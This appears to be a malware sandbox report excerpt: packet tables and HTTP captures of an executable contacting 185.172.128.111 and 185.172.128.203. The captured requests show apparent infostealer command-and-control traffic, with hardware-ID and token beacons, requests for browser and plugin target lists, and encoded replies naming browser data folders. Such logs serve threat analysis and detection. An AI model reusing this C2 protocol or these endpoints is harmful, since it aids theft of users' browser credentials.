Apr 26, 2024 09:41:42.752010107 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752094030 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752146959 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752167940 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752218008 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752290010 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752347946 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752450943 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752506018 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752588987 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752644062 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752695084 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752732038 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752760887 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752795935 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752840042 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752877951 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.752892017 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.752929926 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.753161907 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.753222942 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.990619898 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.990678072 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.990747929 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.990791082 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.990859032 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.990859032 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.990859032 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.990859032 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991174936 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991240025 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991283894 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991322041 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991338968 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991368055 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991431952 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991470098 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991502047 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991516113 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991576910 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991616011 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991627932 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991662979 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991720915 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991797924 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.991887093 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.991945982 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.992772102 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.992841959 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.992970943 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993031025 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993081093 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993139029 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993252039 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993293047 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993314981 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993345022 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993391991 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993439913 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993463993 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993525028 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993556023 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993606091 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993670940 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993707895 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993745089 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993768930 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993792057 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993833065 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993843079 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993885040 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993908882 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.993964911 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.993978977 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994015932 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994030952 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994064093 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994091034 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994127989 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994137049 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994177103 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994232893 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994273901 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994294882 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994332075 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994440079 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994477987 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:42.994493008 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:42.994528055 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.231313944 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231345892 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231498003 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231575012 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231591940 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.231596947 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231714964 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231762886 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231786966 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.231786966 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.231797934 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.231813908 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.231837034 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.231957912 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232016087 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232275009 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232325077 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232336998 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232382059 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232517004 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232559919 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232573032 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232620955 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232626915 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232670069 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232702017 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232752085 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232783079 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232827902 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.232922077 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.232975006 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.233072042 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.233120918 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.233120918 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.233165026 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.233253956 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.233304024 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.233432055 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.233479977 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.233513117 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.233556032 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.236365080 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.236418009 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237006903 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237056971 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237524986 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237545967 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237565041 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237576008 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237584114 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237606049 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237610102 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237628937 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237648964 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237663984 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237668037 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237687111 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237701893 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237706900 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237726927 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237740993 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237745047 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237765074 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:43.237776041 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:43.237812042 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:45.770405054 CEST	80	49736	185.172.128.203	192.168.2.4
Apr 26, 2024 09:41:45.770478964 CEST	49736	80	192.168.2.4	185.172.128.203
Apr 26, 2024 09:41:57.096678019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:57.098074913 CEST	49736	80	192.168.2.4	185.172.128.203

HTTP Request Dependency Graph

185.172.128.111

185.172.128.203

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.172.128.111	80	7428	C:\Users\user\Desktop\YEnIrzZUUw.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 09:40:59.974509001 CEST	418	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.172.128.111 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 41 35 34 35 39 44 37 46 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="hwid"D5A5459D7F6E2371543510------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="build"default10------BFHJECAAAFHIJKFIJEGC--
Apr 26, 2024 09:41:00.875365973 CEST	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4e 6a 46 69 4e 57 46 69 4d 57 55 31 59 6a 49 7a 4e 54 45 34 4d 7a 4d 79 4e 6a 6b 77 5a 47 59 34 4e 6a 46 6a 59 6a 41 7a 4f 44 6b 35 4d 7a 6b 7a 5a 47 4e 6d 5a 54 6b 31 4f 54 64 6b 4d 44 46 6c 59 6a 55 34 4e 44 6b 77 4f 54 56 6c 4f 54 64 69 4f 44 6c 68 59 57 49 35 4e 47 5a 6d 59 7a 55 78 66 44 67 30 61 44 68 6c 4e 48 4a 6f 66 44 67 30 5a 7a 68 6c 63 6d 64 79 4c 6d 5a 70 62 47 56 38 4d 58 77 77 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 41 3d 3d Data Ascii: NjFiNWFiMWU1YjIzNTE4MzMyNjkwZGY4NjFjYjAzODk5MzkzZGNmZTk1OTdkMDFlYjU4NDkwOTVlOTdiODlhYWI5NGZmYzUxfDg0aDhlNHJofDg0ZzhlcmdyLmZpbGV8MXwwfDF8MXwxfDF8MXwxfA==
Apr 26, 2024 09:41:00.889983892 CEST	470	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJD Host: 185.172.128.111 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="message"browsers------GCFHDAKECFIDGDGDBKJD--
Apr 26, 2024 09:41:01.245296955 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 26, 2024 09:41:01.245322943 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 26, 2024 09:41:01.247123957 CEST	469	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGH Host: 185.172.128.111 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="message"plugins------DHJDAFIEHIEGDHIDGDGH--
